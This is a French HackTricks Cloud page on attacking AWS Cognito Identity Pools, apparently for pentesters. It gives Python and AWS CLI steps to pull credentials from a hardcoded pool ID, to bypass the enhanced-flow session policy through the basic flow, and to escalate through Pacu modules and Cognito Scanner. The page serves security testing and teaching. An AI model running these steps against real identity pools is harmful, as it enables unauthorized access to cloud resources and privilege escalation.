Cognito Identity Pools
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
Informations de base
Les pools dâidentitĂ© jouent un rĂŽle crucial en permettant Ă vos utilisateurs dâacquĂ©rir des identifiants temporaires. Ces identifiants sont essentiels pour accĂ©der Ă divers services AWS, y compris, mais sans sây limiter, Amazon S3 et DynamoDB. Une caractĂ©ristique notable des pools dâidentitĂ© est leur support Ă la fois pour les utilisateurs invitĂ©s anonymes et une gamme de fournisseurs dâidentitĂ© pour lâauthentification des utilisateurs. Les fournisseurs dâidentitĂ© pris en charge incluent :
- Amazon Cognito user pools
- Options de connexion sociale telles que Facebook, Google, Login with Amazon et Sign in with Apple
- Fournisseurs conformes Ă OpenID Connect (OIDC)
- Fournisseurs dâidentitĂ© SAML (Security Assertion Markup Language)
- Identités authentifiées par le développeur
# Sample code to demonstrate how to integrate an identity provider with an identity pool can be structured as follows:
import boto3
# Initialize the Amazon Cognito Identity client
client = boto3.client('cognito-identity')
# Assume you have already created an identity pool and obtained the IdentityPoolId
identity_pool_id = 'your-identity-pool-id'
# Add an identity provider to the identity pool
response = client.set_identity_pool_roles(
IdentityPoolId=identity_pool_id,
Roles={
'authenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/AuthenticatedRole',
'unauthenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/UnauthenticatedRole',
}
)
# Print the response from AWS
print(response)
Cognito Sync
Pour gĂ©nĂ©rer des sessions de Identity Pool, vous devez dâabord gĂ©nĂ©rer un Identity ID. Cet Identity ID est lâidentification de la session de cet utilisateur. Ces identifications peuvent avoir jusquâĂ 20 ensembles de donnĂ©es pouvant stocker jusquâĂ 1 Mo de paires clĂ©-valeur.
Ceci est utile pour garder des informations sur un utilisateur (qui utilisera toujours le mĂȘme Identity ID).
De plus, le service cognito-sync est le service qui permet de gĂ©rer et synchroniser ces informations (dans les ensembles de donnĂ©es, en envoyant des infos dans des flux et des messages SNSâŠ).
Tools for pentesting
- Pacu, le framework dâexploitation AWS, inclut maintenant les modules âcognito__enumâ et âcognito__attackâ qui automatisent lâĂ©numĂ©ration de tous les actifs Cognito dans un compte et signalent les configurations faibles, les attributs utilisateur utilisĂ©s pour le contrĂŽle dâaccĂšs, etc., et automatisent Ă©galement la crĂ©ation dâutilisateurs (y compris le support MFA) et lâescalade de privilĂšges basĂ©e sur des attributs personnalisables modifiables, des identifiants de pool dâidentitĂ© utilisables, des rĂŽles assumables dans les jetons dâidentitĂ©, etc.
Pour une description des fonctions des modules, voir la partie 2 du blog post. Pour des instructions dâinstallation, voir la page principale de Pacu.
Usage
Exemple dâutilisation de cognito__attack pour tenter la crĂ©ation dâutilisateur et tous les vecteurs dâescalade de privilĂšges contre un pool dâidentitĂ© et un client de pool dâutilisateurs donnĂ©s :
Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
Exemple dâutilisation de cognito__enum pour rassembler tous les groupes dâutilisateurs, les clients de groupes dâutilisateurs, les pools dâidentitĂ©, les utilisateurs, etc. visibles dans le compte AWS actuel :
Pacu (new:test) > run cognito__enum
- Cognito Scanner est un outil CLI en python qui implĂ©mente diffĂ©rentes attaques sur Cognito, y compris la crĂ©ation de comptes non dĂ©sirĂ©s et lâescalade de pools dâidentitĂ©.
Installation
$ pip install cognito-scanner
Utilisation
$ cognito-scanner --help
Pour plus dâinformations, consultez https://github.com/padok-team/cognito-scanner
Accéder aux rÎles IAM
Non authentifié
La seule chose quâun attaquant doit savoir pour obtenir des identifiants AWS dans une application Cognito en tant quâutilisateur non authentifiĂ© est le ID de la piscine dâidentitĂ©, et cet ID doit ĂȘtre codĂ© en dur dans lâapplication web/mobile pour quâelle puisse lâutiliser. Un ID ressemble Ă ceci : eu-west-1:098e5341-8364-038d-16de-1865e435da3b (il nâest pas bruteforcable).
Tip
Le rÎle IAM Cognito non authentifié créé via est appelé par défaut
Cognito_<Nom de la piscine d'identité>Unauth_Role
Si vous trouvez un ID de piscine dâidentitĂ© codĂ© en dur et quâil permet aux utilisateurs non authentifiĂ©s, vous pouvez obtenir des identifiants AWS avec :
import requests
region = "us-east-1"
id_pool_id = 'eu-west-1:098e5341-8364-038d-16de-1865e435da3b'
url = f'https://cognito-identity.{region}.amazonaws.com/'
headers = {"X-Amz-Target": "AWSCognitoIdentityService.GetId", "Content-Type": "application/x-amz-json-1.1"}
params = {'IdentityPoolId': id_pool_id}
r = requests.post(url, json=params, headers=headers)
json_resp = r.json()
if not "IdentityId" in json_resp:
print(f"Not valid id: {id_pool_id}")
exit
IdentityId = r.json()["IdentityId"]
params = {'IdentityId': IdentityId}
headers["X-Amz-Target"] = "AWSCognitoIdentityService.GetCredentialsForIdentity"
r = requests.post(url, json=params, headers=headers)
print(r.json())
Ou vous pourriez utiliser les commandes aws cli suivantes :
aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign
aws cognito-identity get-credentials-for-identity --identity-id <identity_id> --no-sign
Warning
Notez quâen dĂ©faut, un utilisateur cognito non authentifiĂ© NE PEUT avoir aucune permission, mĂȘme si elle a Ă©tĂ© assignĂ©e via une politique. VĂ©rifiez la section suivante.
Flux dâauthentification amĂ©liorĂ© vs basique
La section prĂ©cĂ©dente a suivi le flux dâauthentification amĂ©liorĂ© par dĂ©faut. Ce flux dĂ©finit une politique de session restrictive pour la session de rĂŽle IAM gĂ©nĂ©rĂ©e. Cette politique ne permettra Ă la session que dâutiliser les services de cette liste (mĂȘme si le rĂŽle avait accĂšs Ă dâautres services).
Cependant, il existe un moyen de contourner cela, si le pool dâidentitĂ© a âFlux basique (classique)â activĂ©, lâutilisateur pourra obtenir une session en utilisant ce flux qui nâaura pas cette politique de session restrictive.
# Get auth ID
aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign
# Get login token
aws cognito-identity get-open-id-token --identity-id <identity_id> --no-sign
# Use login token to get IAM session creds
## If you don't know the role_arn use the previous enhanced flow to get it
aws sts assume-role-with-web-identity --role-arn "arn:aws:iam::<acc_id>:role/<role_name>" --role-session-name sessionname --web-identity-token <token> --no-sign
Warning
Si vous recevez cette erreur, câest parce que le flux de base nâest pas activĂ© (par dĂ©faut)
An error occurred (InvalidParameterException) when calling the GetOpenIdToken operation: Basic (classic) flow is not enabled, please use enhanced flow.
Ayant un ensemble de credentials IAM, vous devriez vĂ©rifier quels accĂšs vous avez et essayer dâescalader les privilĂšges.
Authentifié
Note
Nâoubliez pas que les utilisateurs authentifiĂ©s se verront probablement accorder des permissions diffĂ©rentes, donc si vous pouvez vous inscrire dans lâapplication, essayez de le faire et obtenez les nouveaux credentials.
Il pourrait également y avoir des rÎles disponibles pour les utilisateurs authentifiés accédant au Identity Pool.
Pour cela, vous pourriez avoir besoin dâaccĂ©der au fournisseur dâidentitĂ©. Si câest un Cognito User Pool, peut-ĂȘtre pouvez-vous abuser du comportement par dĂ©faut et crĂ©er un nouvel utilisateur vous-mĂȘme.
Tip
Le rÎle IAM Cognito authentifié créé via est appelé par défaut
Cognito_<Nom du Identity Pool>Auth_Role
Quoi quâil en soit, le suivant exemple suppose que vous ĂȘtes dĂ©jĂ connectĂ© Ă un Cognito User Pool utilisĂ© pour accĂ©der au Identity Pool (nâoubliez pas que dâautres types de fournisseurs dâidentitĂ© pourraient Ă©galement ĂȘtre configurĂ©s).
# Format mis Ă jour
aws cognito-identity get-id \
--identity-pool-id \
--logins '{"cognito-idp..amazonaws.com/": ""}'
aws cognito-identity get-credentials-for-identity \
--identity-id \
--logins '{"cognito-idp..amazonaws.com/": ""}'
aws cognito-identity get-credentials-for-identity \
--identity-id \
--custom-role-arn \
--logins '{"cognito-idp..amazonaws.com/": ""}'
Format obsolĂšte â ceux-ci peuvent ne plus fonctionner avec lâAWS CLI actuel :
aws cognito-identity get-id \
--identity-pool-id \
--logins cognito-idp..amazonaws.com/=
aws cognito-identity get-credentials-for-identity \
--identity-id \
--logins cognito-idp..amazonaws.com/=
aws cognito-identity get-credentials-for-identity \
--identity-id \
--custom-role-arn \
--logins cognito-idp..amazonaws.com/=
Warning
Il est possible de configurer diffĂ©rents rĂŽles IAM en fonction du fournisseur dâidentitĂ© par lequel lâutilisateur est connectĂ© ou mĂȘme simplement en fonction de lâutilisateur (en utilisant des claims). Par consĂ©quent, si vous avez accĂšs Ă diffĂ©rents utilisateurs via le mĂȘme ou diffĂ©rents fournisseurs, cela pourrait valoir le coup de se connecter et dâaccĂ©der aux rĂŽles IAM de tous.
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud